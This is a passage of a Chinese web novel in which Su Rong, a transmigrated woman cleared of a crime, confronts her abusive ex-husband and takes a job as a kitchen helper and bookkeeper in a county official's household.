不过金竹海也惊讶苏氏能够这么快出狱。难不成真凶县令大人已经查出来了?到底是谁?短短一夜过去,到底发生了什么?
顾不得嫌苏蓉身上臭,金竹海连忙上前拦住她去路。
“苏氏,发生了什么事?县令大人为何会当堂开释你?梅主簿现在怎样了……”
苏蓉乱糟糟的长发下,一双眸子冷若寒星,盯着金竹海。
她非常想召唤铜甲兵,将眼前这个人渣千刀万剐。但是,若是短时间内再发生同样第三起命案,以她和金竹海的关系,必定令叶县令起疑!
杀金竹海,不能急于一时,得等她彻底从大众印象中消失才行。
她站住脚,眼瞪金竹海,一个字一个字往齿缝外蹦声音。
“滚开!好狗不当路!”
金竹海愣了一下,不可置信地看向苏蓉。
随即暴怒。
“苏氏,我给你脸了?你敢这样跟我说话!”
“你哪位呀?我苏蓉,与你金家人再无任何关联。走在大街上,彼此便是个陌生人。对于陌生人的挑衅,难道我连一句话也没资格回怼?”
苏蓉漫不经心撩起长发,露出自己纤细的脖颈。仰起脸,似笑非笑看着金竹海。
“或者说,这位大哥生性恃强凌弱,打算在光天化日众目睽睽之下,欺负我这小小民女?”
“你……”
金竹海怒火中烧,大手在快扼至苏蓉坦露的脖子时,突然反应过来!
苏氏这贱人在故意激怒他?还故意把脖子伸给他!
这里是衙门,本来叶县令对他便有不良看法了,若是他再在这里动手打苏氏,那不相当于当众打叶县令的脸?
到时叶县令不处置他也难以服众。
他迅速收回手,背在身后,冷笑打量苏蓉狼狈的一身。
“你已经疯了,苏氏!我金竹海才不屑于理会你这个疯疯癫癫的弃妇!你还是赶紧趁现在人多、天气好,去讨口饭吃吧?”
“否则,倒毙街头时也无人给你收尸!”
苏蓉冷笑。
这个人渣,在外面居然还有几分头脑,不像在家时只一味狂暴。她理理头发,唇角上扬。
“县令大人清正廉明,秉公执法。金竹海,你攀的高枝只怕快断了?我等着看老百姓痛打落水狗的那一天!”
说完,她昂起头,径直与金竹海擦肩而过,走下石阶。
金竹海目送她背影,目光阴鸷可怕。
金安福在旁目睹这一幕,内心茫然:眼前女人,真的一点不像他记忆中的前大嫂了。
人死一回,变化有那么大吗?见到他哥,不仅不再害怕地浑身打哆嗦,还敢与他哥针锋相对了?
好荒诞不经的感觉!
第25章 找工
“妮儿!”
苏蓉正准备去找客栈,方婆婆祖孙攥着小包袱,转过街角,急促地挥手喊她。
她一阵惊喜,接着扑过来的方小兰。怕自己身上脏没敢抱孩子,只扶了把以防方小兰跌倒。对着方婆婆道:“方婆婆,您和小兰还没有回村?”
方婆婆激动地握住她的手,哪去管她一手血污!
“妮儿,我听那当差小哥说,你被县令大人无罪释放了!便来到这衙门外等候……妮儿,你当真没事了?”
“没事,真凶另有其人。”
苏蓉笑道:“县令大人英明神武,将我当堂无罪释放,还给我办理城里的户籍,补偿我几两银子当做安家费!”
“太好了!”
方婆婆双手合十,对着衙门连连鞠躬。
“当真是青天大老爷啊!妮儿,你总算苦尽甘来了!”
说着,她用枯瘦黑乎乎的手背,擦了擦眼角。
苏蓉看着老态龙钟的方婆婆,再看看总角之年、小脸瘦得不足巴掌大的方小兰,迟疑一下,决然开口。
“方婆婆,您不嫌弃的话,我苏蓉愿意认您为干娘,小兰为干闺女。以后孝顺您老,养大小兰?”
无论原身还是她,在这世界孤苦伶仃。方婆婆待她的恩情,她愿意回报,也让自己从此有份牵挂。
方婆婆一听,连连摇头。
握住她的手道:“妮儿,我知道你这么做,是想照顾我们祖孙!但是,你还年轻,将来会再嫁,我们祖孙,老的老,小的小,如何能成为你的拖累?”
她欣慰无比地拍拍苏蓉手背。
“等你以后日子好起来,记得回村来看望我们祖孙一眼就行了!”
苏蓉被休,再嫁非常困难。再加上自己祖孙这对拖油瓶,更加不会有人看上她。所以,方婆婆坚决不会当这个拖累。
尽管她非常需要家里有个成年人帮忙负担生活重担,给小孙女找个依靠。
也绝不能是苏蓉!
苏蓉鼻子一酸。
“方婆婆……”
原身的善,惠及她现在的果。
方婆婆安抚地把她披散如稻草的长发,掠到耳后去。
“妮儿,你现在打算怎么做?先找个地方洗澡换衣裳吧?去去晦气!”
苏蓉点头,说出自己打算。
“方婆婆,我想买两身旧衣裳,然后找家便宜客栈住下,明天一早去牙行找活儿干!最好是那种包住包吃的工作。”
这样她便能攒钱,慢慢在县城立稳脚跟了。
方婆婆赞同她的主意:“你现在有城里户籍,在城里找活干自是容易的!我今天陪着你,明天再回村。看着你安顿下来,方婆婆才能放心!”
“多谢方婆婆。”
苏蓉感激地道。
有方婆婆,在这人生地不熟的县城,她就像有了主心骨。
“妮儿,咱们之间,你还说客套话?走,先去买衣裳!”
苏蓉邋遢一身,店家根本不让进门。幸好有方婆婆祖孙在,帮忙买了两身旧衣,再带着她投宿一家小客栈。
好说歹说,掌柜同意三人从后门进屋,订房间,让厨房送热水。
沐浴更衣出来,方婆婆还使了几个铜板,借来一火盆,非让苏蓉从上面跨过去。
这叫去晦气!
苏蓉的心被火盆烤得滚烫。拿出银钱,托小二哥从大堂送几个精致小菜进房间。她今夜要好好和方婆婆祖孙聚餐。
方婆婆极力劝她不要浪费,去外面买三个馒头也能吃。钱要花在刀刃上。
苏蓉笑着说:“方婆婆,县令大人给我的补偿,足以让我在城里安家落户了。只少少吃一顿不打紧,我这两天,在牢里其实没吃什么东西……”
她故意说得可怜,方婆婆不好再说什么。
只是看着小二哥将一盘盘肉菜送进来,连连叹气:“我们三个人,如何吃得了这么多东西,多了,多了!”
方小兰在旁,手指头含在嘴里,不停吞咽口水。
话是这么说了,钱都给了,三人还是吃得非常尽兴。尤其方小兰,打记事起没吃过好的,肉滋味还是上次苏蓉给的兔肉带来的。
她吃得满嘴流油,恨不得把自己手指头也嗦进肚去。
好在苏蓉和方婆婆都知道平常没怎么沾过油荤,不能这么敞开肚子吃,尽量克制着。饭吃完了,菜还剩一多半。
特地点的白肉胡饼,一个没动。
苏蓉向小二哥讨来打包用的干净荷叶,全给包上,放进方婆婆的包袱中。
这些剩菜肉饼,省一省够方婆婆祖孙吃两天了。她点菜时考虑的都是能放的荤菜。
方婆婆实在犟不过她,只能接受。
三人挤在客房一张狭窄的木板床上,睡了一夜。天微亮方婆婆急着去赶回村的骡车,匆匆带小兰离开。临走叮咛苏蓉,有空一定要回村看看。
有些恋恋不舍送走祖孙俩,苏蓉知道,接下来的路,始终得靠她自个走。
她退了房。
这家小客栈虽算城里最便宜的,一晚也要五十文。牙行帮忙找工作的中介费才一月二十文。这客栈长住可住不起。
连上衣裳开销、伙食费,花掉差不多一两银子。她全部家当还剩十九两。如果短期内找不到工作,她打算就露宿街头了。
睡人家屋檐下固然落魄,好歹省钱。
再说有叶县令坐镇,她相信县城治安比两个月前不知好了多少!没哪个二世祖地痞,敢在县令大人三把火的时候,顶风作案吧?
啃了个黑乎乎的馒头,喝了碗小贩免费提供的凉水,苏蓉挎着小包袱,直奔牙行。
和众多急切找活干的娘子军一样,等牙行门一开,蜂拥而进。唯恐慢一步,好工作被别人抢先占据。
牙婆们不耐烦地维持秩序,吆喝众人列队听传唤。
苏蓉瞅准上次认识的牙婆,等她稍微清闲,立即过去塞五个铜板。
来这里的人,一个铜板恨不得掰成几半花。
牙婆捏着五个铜板,眼角的鱼尾纹舒展,看着苏蓉面善的样子,迟疑:“你这小娘子,老身是不是在哪见过你?”
苏蓉笑出标准的六瓣牙。
“嬷嬷真是记性好!上次也是我,给了五文,向嬷嬷打听招工情况来着?”
第26章 当洗菜娘?
牙婆顿时想了起来。
比起动不动大吵大闹,认为自己花了二十文牙行没给尽心找活;或者跪地苦苦哀求,陈述自己有多不容易,希望牙行能格外优待的人。
苏蓉真是个极其罕见的例外!
会来事的人,走到哪都讨人喜欢。
“原来是你!”
牙婆眯了眯眼睛,把苏蓉带进一间厢房:“你这回是来找活干的吧?”
见苏蓉点头,她呲着牙花子笑。
“先登记。登记完,老身帮你瞧瞧,哪儿有适合你的活干!”
虽然苏蓉长得瘦瘦小小的,风吹就倒。但五大三粗的人多了,机灵的有机灵的去处。
“小赵,给她先登记。”
等前一个登记者离开,没让下一个进来,牙婆直接招呼埋头书案造册的小厮给苏蓉加塞儿。
这种负责文书的小厮,多是读了几年书,以此为生的农家子弟;或是来此兼职赚生活费的贫寒书生。
能找到这份工,哪个不是人精?听了牙婆招呼,二话不说,唤苏蓉上前。
“姓氏?年龄?籍贯?……”
苏蓉把新鲜出炉的户籍递过去,这次回答得抬头挺胸。
“苏蓉,十七,就是这宜阳县的人!”
小赵检查她户籍,点头登记后还给她:“有什么特长吗?想找哪方面的活干?”
冲牙婆的面子,他提醒一句。
“吃苦耐劳不算擅长。除非你厨艺好,会绣花理账之类,那些才算特长。”
苏蓉眨眨眼睛。
原身的确吃苦耐劳,还相当善于忍气吞声。那她……
“识字,会算学,这个能行吗?”
小赵和牙婆,同时震惊地望向她。
“你识字?还懂算学?”
“你知道算学是什么吗?”
四道目光,仿佛同时看见猪爬树。
苏蓉嘴角一抽:“你们可以考考我?”
古代信奉女子无才是德。平民男子受教育识字的机会都凤毛麟角,别说女子。苏蓉理解他们的惊讶。
但她想过了,要好好生存下去,短时间内在县城扎稳脚跟,她没必要过于藏拙。
反正原身随家人逃荒而来,爹娘已过世,老家那边人差不多死光了,应该没谁了解原身的过去。
她识字,会简单算学,很合理。
小赵不信邪地推出手中登记册:“那你来瞧瞧,这上面都写了些什么字?”
苏蓉毫不犹豫上前,手指墨迹未干的笔迹,念出对方登记结果,顺带发现一处错字。
“赵小哥,我名字的蓉,有个草头。”
小赵面红耳赤,急忙提笔补上,弱弱地分辩:“我不知道你这个‘容’,是草字头的‘蓉’。”
苏蓉微笑。
“那我再考考你算学?”
觉得丢了面子的小赵,眼珠一转:“书生去买笔墨纸砚。毛笔十一文一支,宣纸比毛笔贵九文,砚台比宣纸少三文,墨条比砚台少五文,墨条多少钱?”
“十二文。”
苏蓉想也不想,一口答。心内默默吐槽,这问题随便让个小学生穿来,也能回答无误。
她真是落魄了,受了几十年教育,在这靠最简单的算术求工作。
牙婆一时间心算不出苏蓉答案是否正确,但看小赵的面色,她知道苏蓉答对了。
顿时乐呵呵开口。
“小赵,给她记上这两项特长!苏小娘子,凭你这本事,去大户人家挣个管事娘子当当,绰绰有余啊!”
当然,大户人家招管事娘子,一般信任家生子,挑选卖身契捏在手里的奴婢。苏蓉尽管有才,不一定能聘用上。
而去酒楼茶楼当掌柜的话,大多数人不愿意用女人。
这倒难办,高不成低不就。
若是苏蓉愿意卖身,她分分秒把苏蓉包装好,卖个高价。想凭这本事找账房、管事之类的工作,难如登天。
等登记好了,缴纳过二十文的中介钱,牙婆不含糊。把苏蓉带至自己办公小隔间,打开天窗说亮话,先把顾虑给苏蓉讲了。
苏蓉一听,还当什么事呢?
“嬷嬷,我能吃苦!不求当什么账房、管事?只要有活儿干,挣点生活费,最好能包吃包住,不至于流落街头,我便满意了!”
牙婆没想到她要求那么低!原以为识字懂算学,肯定是个心气儿高的,结果就这?
不过当牙婆几十年,见过不少落魄的富家千金,比苏蓉处境更糟。
她没多说什么,只是试探性地问:“那照你这么说,我手边倒正好有两个适合你干的活儿,你愿意去吗?”
苏蓉屈膝,学着电视上看来的动作,行了一礼。
“请嬷嬷给我机会!”
说着,又塞了十个铜板给牙婆。
牙婆掂着手心尚有余温的铜板,面上笑意更深。
“苏娘子,咱们也算有缘。这两个牙行昨儿才接受委托的好去处,外面多少人求不到,本来打算给内定人员的。你来得巧,便先推荐给你了。”
“请嬷嬷明示?”
苏蓉心想,没枉费她撒出去的铜板。
牙婆拿出自己的记录本,翻到最后一页:“这两日,有两家管事娘子,登门委托寻找短契佣工。若是干得好,可以签长契,你听听?”
“邓教谕家,招一个洗菜娘子。粮商王老板家,招一个洗衣娘子。”
牙婆看苏蓉一眼。
“因为洗衣娘比洗菜娘辛苦得多,一天到晚没个歇下来的时候,故而工钱比洗菜娘稍高。洗菜娘是三百文一个月;洗衣娘则为四百文一月,两者皆包吃住。”
苏蓉想也不想:“我选择邓教谕家,做洗菜娘这份工!”
她能撒豆成兵,得空可以让豆子兵去狩猎,卖野物。将来不缺钱。她缺的是个能遮风避雨的地方,头顶一把伞。
教谕是县学学官,无论身份资历,家里环境,都应该比粮商家好很多。
所以,这用得着犹豫吗?
“你这小娘子,倒真是个聪明人!”
牙婆笑起来:“其实,邓教谕家还在寻访识字、机灵的丫头,将来随他家大小姐出嫁。月钱给到了一至二两……”
她看默不作声的苏蓉一眼。
“算了,想必你不愿卖身。我便介绍你去做洗菜娘这份工吧!大户人家规矩严,你在后厨,可得牢牢记住谨言慎行,别污了我徐牙婆的招牌!”
苏蓉这才知道,原来牙婆姓徐。她露出极为感恩戴德的表情,恭恭敬敬朝徐牙婆施礼。
“谢谢徐嬷嬷!有机会,我一定报答您!”
徐牙婆笑笑。
“现在我让人带你去邓宅。虽然我们牙行推荐了你,但邓宅的人能不能瞧中你,要靠你自己表现!”
第27章 面试
言毕,徐牙婆唤进一个跑腿婆子,让她带苏蓉去面试。
一个洗菜娘而已,没必要亲自去一趟。苏蓉可能连主人家的面,都见不到。邓宅管事娘子与牙行沟通好的,直接送合适的人过去就行。
苏蓉小包袱款款,跟随带路婆子走出牙行。
路上塞给对方两个铜板,带路婆子肉眼可见地热情起来。知无不言、言无不尽把自己知道邓宅的信息,说了出来。
邓教谕娶妻刘氏,是个富商家的女儿。后宅一名妾室,一名通房。
刘氏只生了一个女儿,迟迟不能得子。故而将身边丫头开了脸,献给邓教谕当通房。
但通房也没能生个一男半女。后来邓教谕纳了房妾室,一举得男,养在刘氏膝下。
嫡女年十五,刘氏正在紧张为女儿物色如意郎君;庶子不过十二岁,但养成个霸道不讲理的性子。
不爱读书,天天带小厮们和同窗斗鸡撵狗,十分淘气。邓教谕严厉教训一番能管上段时日,隔不多久,又恢复原形。
邓教谕望子成龙,这好不容易得来的儿子,怕是不能如他所愿。
带路婆子暗示苏蓉,邓教谕家的后宅有点水深火热,她只管老老实实窝在后厨洗菜,别冒失掺和到人家家事里去。
苏蓉频频点头。
看那么多宅斗宫斗小说,她头壳坏掉了才去掺和别人家内宅事。
搞不好这庶子,就是刘氏故意养废的?妾室被主母“夺”了自己儿子,那能甘心?三个女人一台戏。这邓教谕,还是个为人师表的读书人,呵呵……
她安静吃瓜就行。
邓教谕家是座县城常见的二进院落。
学官品级低,收入有限,所以宅子并没有多豪华。不过处在正街,交通便利,还能使唤下人,在普通人眼里,已算是大户人家。
何况还有众多学子,削尖脑袋想走邓教谕的门路,进入县学深造。他私底下的灰色收入,自然不低。
前院读书、接待客人,存放杂物;后院是生活空间。包含正房、厢房、客房、厨房之类,大概有十来间。
苏蓉跟着带路婆子,从宅子后角门进入邓宅,一路低头谨守谦卑礼仪。眼角余光瞄到有人在打扫庭院、清洗衣物。
看数量佣人并不多。那么邓家好几个需要侍候的主子,每个下人分到的活儿,就不会少。
听到门房通报,好一会儿,管事娘子才姗姗来迟,到后角门的位置来找苏蓉二人。
带路婆子自然是认得管事娘子,笑容满面上前,带着苏蓉弯腰行了一礼,才说明来意。
“周管事,这位小娘子,我们徐姐姐看着不错,特地给您引荐,看看洗菜娘的那份活儿,能不能安排给她做?”
周管事打量苏蓉干虾虾的小身板,皱紧眉头。
“夏婆子,我们邓宅,找的可是能干活的人?这个小丫头,风吹就倒的模样,能胜任后厨杂工吗?”
夏婆子忙道:“周管事,您可别嫌弃她身板弱,干起活来,那是一把好手!”
“我们徐姐姐推荐她来您这的原因,还有一个。这小娘子可是识字,能写会算的!以后您出门采购什么东西,把她带上,那不是再不用费神了?”
“什么琐碎开支账目,能帮您算得明明白白,岂不是好?”
夏婆子按照临走前徐牙婆教的几句话说。
果然,周管事眼睛亮起来,再次细细打量苏蓉,有些犹豫。
“既然识字,怎会甘心来做一个后厨杂工?”
“回管事的话,苏蓉父母双亡,无家可归,无亲可投。想着邓教谕家书香门第,文风醇厚。即便当个洗菜娘也与有荣焉。”
苏蓉见她视线停留在自己身上,知道表现时候到了,向周管事屈膝行礼。
“故而前来应聘,盼能托庇于主家门下。”
周管事“嗤”地笑了出来。
“果然像是个识字的,能说会道。但光会说可不行,我们这里,招的是能干活之人。”
瞅瞅周围,唤来一个粗使婆子。
“你带她去后厨,让张厨娘考察她一下。如果干活麻利,就留下!”
夏婆子悄悄叮嘱苏蓉:“好好干,别给人家退回来,连带我们徐姐姐一起丢脸。”
苏蓉答应,挽着小包袱,跟随粗使婆子去后厨。
现代找不完的工作,填不满的个人简历,面不完的试。
她不相信,到了古代,还应聘不上一个洗菜娘?
即便她不行,原身吃苦耐劳十多年的身体,支持着她呢!
张厨娘圆胖胖的脸,发福的身段,一团和气。
苏蓉偷偷瞄眼周围环境,大筐的蔬菜堆积在门外推车上,没来得及收。木盆木桶筲箕,摆得乱七八糟。张厨娘围腰上溅满水迹,手握一把菜刀没放下。
一个人,煮后院这么多人的饭,难怪邓宅着急请人呢。
张厨娘听明白粗使婆子说明来意,倒是没有第一时间嫌弃苏蓉的小身板。
有人帮忙就谢天谢地了!
她还敢嫌弃苏蓉长得不像干活的人?
多拖一天找不到打下手的,她就要往死里捱一天。
受不了!
她笑着对苏蓉说:“你来得正好,帮我把厨房收拾下吧。原本有两个厨娘,回家了一个。还有个打杂的丫头,偏巧这两天病了。真是……”
“让我手忙脚乱的!”
苏蓉二话不说,把挎的包袱随便找个旮瘩一搁,撸起袖子,向张厨娘借条旧围腰扎在腰间,再掏出准备好的布帕子包头发,便开始收拾箩筐,搞大扫除。
张厨娘见她像个干活人的样子,第一印象不错。点点头,钻进厨房和面。
她可没功夫守着苏蓉干活。
粗使婆子负责打扫庭院的,厨房活路不归她管。不过要等着回周管事的话也不能走,只得站在门外,看苏蓉表现。
以防张厨娘忙忘时辰,直接将苏蓉留下了。
顿饭功夫,张厨娘经粗使婆子提醒,抽空出来检查苏蓉干活成果。
发现苏蓉不仅把厨房外面堆积如山的杂物收拾了,地扫得干净,连几筐蔬菜,也分门别类整理好,摆放在架子上,等候清理使用。
苏蓉还拿了块帕子,打一盆水,在细细擦拭灶台、桌子板凳上常年累积的污垢。
第28章 上工第一天
张厨娘感到格外惊喜。
这眼睛里有活的人可是不多见!如果苏蓉不是装出来的,那就比厨房另外一个打下手的丫头要勤快!
她立即对粗使婆子道:“这丫头不错,我很满意。你去告诉周管事一声,留下她吧!”
累得半死的苏蓉没敢露出丁点疲态,闻言开心地向张厨娘行礼:“多谢张厨娘照顾!”
张厨娘笑呵呵道:“叫我张婶子吧!以后有你帮忙,想必我能轻省很多。”
苏蓉拿上包袱,跟着粗使婆子回后角门。正式入职前,她还得跟周管事签佣工合约。
邓家门风严,规矩多,即便是临时佣工,也要按照正规手续来。
带路婆子得知结果,很满意地告辞,回去向徐牙婆报告了。周管事将苏蓉带进后院。
“你虽然是临时佣工,在后厨打杂。不过吃住在主人家,好歹认认人。以防行走间不小心冲撞到各位主子。”
苏蓉老实点头。
人在哪座山唱哪个歌。成年人了,她懂得随遇而安,顺势而为的道理。
“正好夫人今日得闲,带着大姐儿在后院玩耍,我带你去见主子。夫人若没有意见的话,你便可以留下了!”
苏蓉点头哈腰:“谢谢周管事!”
周管事对于她恭敬的态度很满意。当下人的,摆不正自己位置,哪位主家会喜欢?
邓宅是学官家,尤其注重尊卑礼仪。
宅子不大,走数十米就到。苏蓉估算邓宅占地不到一亩,南北进深大概在二十多米。而以后,这里大概会成为她日出而作日入而息的地方。
尚未进入后院,听到一阵银铃般快乐的笑声。
绕过花坛,只见院角落布置一台秋千架,一位身穿墨绿绫锦衣裙的中年女子,笑盈盈坐在石桌边,看着女孩荡秋千。旁边侍立一名婆子,一名小丫鬟。
那女孩儿皮肤在阳光下白得晃眼,双髻垂下鹅黄丝带。同色短襦绣着金线花纹,一条玉白百褶裙,脖子上戴金质长命锁。
一看便知是主家的刘夫人,其女儿刘慧。
苏蓉下意识羡慕。
自己只比刘小姐大三岁,刘小姐仍旧享受着无忧无虑的闺中生活,受父母疼爱。而她,已经成了被休被赶出家门的弃妇!
见有生人进院,刘慧不再恣意玩耍嬉笑。从秋千架下来,捏着手帕,规规矩矩坐在刘夫人旁边。不过一双水灵灵的眼睛,好奇地将苏蓉从头打量到脚。
“夫人,这是徐牙婆引荐上门的厨房帮佣。”
周管事笑容可掬带着苏蓉上前行礼。
“您瞧瞧合适不?”
刘夫人看似温和,实则眼神犀利打量苏蓉,眉头微皱:“怎么徐牙婆推荐来个这么瘦小的丫头?多大了,能干活吗?”
“十七。张厨娘考察过,说这丫头勤快着呢,干活麻利!”
周管事据实回禀。
刘夫人眉头舒展:“既然张厨娘说得用,便留下吧。做一个月看看,好的话签长契。周管事,你带她下去,交代好我们邓宅的规矩!”
苏蓉随周管事行礼告退,走出后院门,后知后觉反应过来主人家连她的名字也没问。看来她只是个无足轻重的洗菜娘,以后好好窝在厨房干活就行。
周管事把苏蓉领到账房,登记造册,领两身粗布衣服,一套床上用品、洗簌用具、围腰布帽一应俱全。短期内走人,这些东西要还,不准损坏。
随后告诉她:“你的工钱徐牙婆应该告诉过你,一个月三百文,包吃住。你只管听张厨娘指挥安排就行,月底结钱。”
略顿。
“照理说下人没有放闲日。但我们夫人仁慈,一个月给假一天。你归张厨娘管,告知她一声就行了。记住,没有传唤,平时不得到处走动!”
端详苏蓉两眼,暗想这么个黑瘦丫头,男人多半瞧不上,也不用特意防范叮嘱什么。
挥挥手,让苏蓉自己去厨房找张厨娘报道。
苏蓉扛着一堆东西,艰难地按原路返回厨房。时近正午,张厨娘一个人在厨房忙碌,挥汗如雨。发现她转来,顾不得多说什么,直接用锅铲给她指路。
“丫头,你去隔壁屋把行李放下,先来帮我理菜洗菜!快晌午了,主子们等着用餐。有什么话,空闲下来咱们慢慢说。”
苏蓉没敢耽搁,连忙跑去推开隔壁小屋虚掩的房门。只见里面角落堆满杂物,不大的空间摆放两张小木床。
其中一张床撑着打补丁的蚊帐,被褥叠得整齐,猜想是那个生病告假丫头的。另外一张落满灰尘。
苏蓉快速将床清理干净一角,放下行李便转身回厨房帮忙。
“先把泡发的这堆木耳洗出来,然后给我择几把青菜。最后洗芋头、大葱、生姜、……”
张厨娘手指脚下木盆。
“今天要用到的食材全部在这儿了,你速度尽量快些。等主子吃过饭,其他人也会来厨房领饭。”
邓宅主子加下人,二十多张嘴巴。厨房这两天就张厨娘一个人苦苦支撑,快忙哭了。
好不容易今天迎来苏蓉。不行也得行,张厨娘终于勉强松了口气。
苏蓉不敢怠慢,扎上新领的围腰,带上布帽以防头发丝落在菜里,迅速投入紧张的工作中。
她得庆幸来时吃了早饭。整个上午到午后,没有停下来喘气的功夫。
埋头洗完木耳洗青菜,芋头削完皮择大葱。生姜要求细细刮不能见丁点黄,大米要粒粒挑谨防有变质米。
还好是春天,不然双手一直泡在凉津津的井水里,不冻烂?苏蓉边洗边琢磨得给自己做双手套。
但古时有塑料手套吗?
张厨娘立在灶台边缘,一个人挥汗如雨,把苏蓉送来的各种配菜,加上调料精心搭配,出锅盛在一个个白玉瓷盘里,装进食盒,等各房下人来取。
主子的餐盒餐盘与下人有本质区别,连用料也是不一样。
例如苏蓉择出的青菜,里面嫩叶子要求清洗干净,给主子吃的。
旁的老叶子过过水,苏蓉没来得及洗第二遍。就见张厨娘过来,眼皮不眨地捞起,放进另一口灶的大锅中。
“不要浪费一点食材!”
张厨娘给予苏蓉第一次警告:“你看你脚边择掉那么多菜叶子,主子不能吃的东西,其他人可以吃啊?给周管事发现,要扣你工钱了!”
苏蓉赶紧捡回来清洗,任劳任怨放进大锅中。
她以为大户人家的下人,日子会好过点。原来下人只能吃主子丢掉不要的烂菜叶……
这个邓宅,看来没有表面光鲜啊……
第29章 洗菜娘生活
近申时,终于忙碌完午餐。下人们也陆续领饭离开。
张厨娘长舒一口气,把帽子摘下挂在门后铁钩上,招呼还忙着收拾屋内外一片狼藉的苏蓉:“丫头,进屋来吃饭!吃完饭,再收拾那些。”
苏蓉饿得头昏眼花,努力在挣命。闻言,毫不耽搁地放下扫帚撮箕,走进厨房。
只见张厨娘在屋角落的小圆桌上,摆了三盘菜,两碗饭,乐呵呵地递给她一双木筷。
“丫头,还适应吧?来,赶紧吃饭!咱们只有一个时辰的休息时间,等下该准备晚饭了。”
苏蓉心道有钱人家是不同,一天三顿。下人跟着沾光,能吃得饱饱的。之前劳碌,觉得没白干活。
谢过张厨娘,接过筷子坐下。等张厨娘夹了第一筷子菜后,才跟着动筷。
桌上一盘木耳肉丝,一盘青菜,一碗酸菜粉丝汤。
伙食不错。果然饿谁不会饿厨子。她这个杂工跟着沾光。
张厨娘冷眼旁观,对苏蓉的餐桌礼仪挺满意。
知道敬老敬长;吃饭文雅。不像另外一个丫头,八百年没吃过饭似,风卷残云时发出唏哩呼噜响声。好像在跟她抢!
新来这洗菜娘,顺眼极了。
食不言寝不语,一顿饭默默吃完,苏蓉主动收拾善后。
“我先回屋歇歇。”
张厨娘扶着老腰,好心提醒苏蓉一句。
“你趁现在有功夫,把自己床收拾了,晚上好睡。不然晚饭后,主子们可能会点夜宵,没时间让你多休息。”
“是,多谢张婶子提醒。”
苏蓉大概了解这洗菜娘的工作强度。
用不死人,往死里用。果然天下就没有白吃的午餐。
好在她以后至少不用住废屋了。晚上睡觉,也不用担心妖魔鬼怪摸上门。
时间一晃半个月。
苏蓉基本适应现在的洗菜娘生活。她的到来,大大减轻张厨娘的劳动强度。加上她非常有眉眼高低,把自己摆在不争不抢的听话位置,张厨娘很是喜欢她。
空闲时,也爱和她唠嗑,提点她邓宅的人情世故。
邓教谕是个古板严肃的性子,对琛哥儿严厉,对下人却很和蔼。
刘夫人作为正室夫人,掌管后宅。虽没有妾室陶姨娘受邓教谕喜欢,邓教谕讲究规矩,陶姨娘也不敢明面舞到刘夫人面前。
至于那个通房石婉,原本是刘夫人的陪嫁。年龄比刘夫人还大上两岁,几乎默默无闻。每天照旧如从前,小心侍奉刘夫人。
她这样的身份,常被下人们在背后嘲笑。
苏蓉听着暗想,原以为妾室子凭母贵,现在看,还是刘夫人手段稍高。只要邓教谕当着这学官,便不敢明目张胆宠妾灭妻。
邓琛经常晚间使人来厨房要宵夜。陶姨娘偶尔为之,还会打赏厨房几个小钱。刘夫人只会在邓教谕去自己屋里时,加酒菜。
这么一说,邓宅后院还是挺平静的?想象中的水深火热,并没有出现。
张厨娘繁忙之中,记着一本账。
每天周管事带人采购新鲜菜蔬肉类多少,庄子送来多少,厨房用掉多少,剩余多少,她都得有个记录。一个月完结,再去和周管事对账。
但她识字不多,记账很是困难。知道苏蓉能写会算,便试着让苏蓉帮忙。
苏蓉翻翻账本,发现张厨娘不会写的字,画的是特定标记。
例如一是一条杠;十以内的数,是几就画几条杠。数量过十的话,十是一条杠加个圈,二十是两条杠加个圈。以此类推。
她一阵强烈无语。
这么奇葩的记账方法不知道谁发明的?
还好张厨娘只需记数量,证明厨房没有滥用食材,或者中饱私囊。不然,要计算入库出库开支的价格,简单的杠和圈怎么表示?
想必每次周管事和张厨娘对账,焦头烂额。耽误的时间,全用来数几条杠了。
不过这会儿她才知道,张厨娘和周管事都是刘夫人带进邓家的陪房。难怪她们这么受刘夫人信任,一个协助管理后宅,一个掌管厨房。
刘夫人牢牢掌控全局。
自此每天饭后的空余时间,苏蓉多了个活儿干,帮张厨娘记账。
张厨娘负责报数量,苏蓉负责记录。
平常画杠画圈要花个多时辰,现在张厨娘出口同时,苏蓉便给她记录好了。拿去给周管事看,皆大欢喜。
再也不用数圈数杠杠,一目了然,浑身舒坦。
周管事无比庆幸当初留下苏蓉。张厨娘更是利用职权之便,一个劲投喂苏蓉,表达自己的喜爱之情。
要不说大家都喜欢读书人呢!
月底,苏蓉拿到自己在古代的第一笔工钱。
因为她没做满一个月,账房按天数计算,给了她二十六天的工钱。
苏蓉拿着一小串铜钱,恍惚觉得在邓宅度过了一个世纪。果然忙碌起来,光阴似箭。
之前那个病着的丫头,受了风寒,总好不起来。刘夫人索性把人打发到庄子上,任其自生自灭。另外买了个粗使丫头放在厨房。
这丫头比苏蓉小两岁,刘夫人为之取名桂枝。是家里孩子多实在养不活,被爹娘卖掉的。牙婆调教两年,出落的模样尚可。
刘夫人打算让桂枝在厨房锻炼两年,跟张厨娘学手艺。将来陪大姐儿出嫁,不说帮大姐儿掌控夫家厨房,至少能让大姐儿吃到熟悉舒心的饭菜。
桂枝很勤快,加上奴婢的身份,让她不敢拿乔。如此张厨娘和苏蓉偶尔都能喘口气歇息。苏蓉可以帮张厨娘记账,也不用担心桂枝越过自己去。
领到工钱没两天,周管事来送菜,带给她们一个来自宅邸外的重磅消息。
听说县衙大变天了!
主簿、县丞县尉一干人,包括掌管县大牢的男女监牢头,通通下大狱。
官府列出的告示,历数其监守自盗、通匪分赃、私设刑狱、铲除异己、草菅人命、强抢民女、逼良为娼等种种罪状。
任一条不杀不足以平民愤!
可能还牵连上任知县,叶县令现在已查清楚所有事实,上报上一级知府,等候朝廷处置这批害群之马。
当然,一套流程走下来,差不多等到年后。
这期间,关押在牢里的主簿等人,想自救、想翻案,就要各凭运气神通。
第30章 第二亲近的人
苏蓉暗自佩服叶县令的勇气和雷霆手段。
一夕间将衙门大换血!梅主簿等人势力在县城经营多年,盘根错节,不怕因此动摇到自己统治的根基吗?
万一梅主簿余党弄出什么事情,远道而来的县令大人,可能因为孤立无援陷入困境。
当然,她就是个小小的洗菜娘,自保尚且困难。能做的,暂时只能为刚直不阿的叶县令,默默祈祷。
第二天,苏蓉请假一天,大早赶去集市买东西,准备回村看望方婆婆祖孙。
半斗糙米,半斗糙面一共花了八十文。另外拣方婆婆平时不舍得用的调料买了些。
青盐一斤十五文,灯油一斤三十二文,饴糖三块三文,半斤猪肉四十文,皮带大骨一斤三十文……
掏钱掏得心头滴血,想到方婆婆祖孙能因此改善生活一段时间,又觉得这钱花得值!
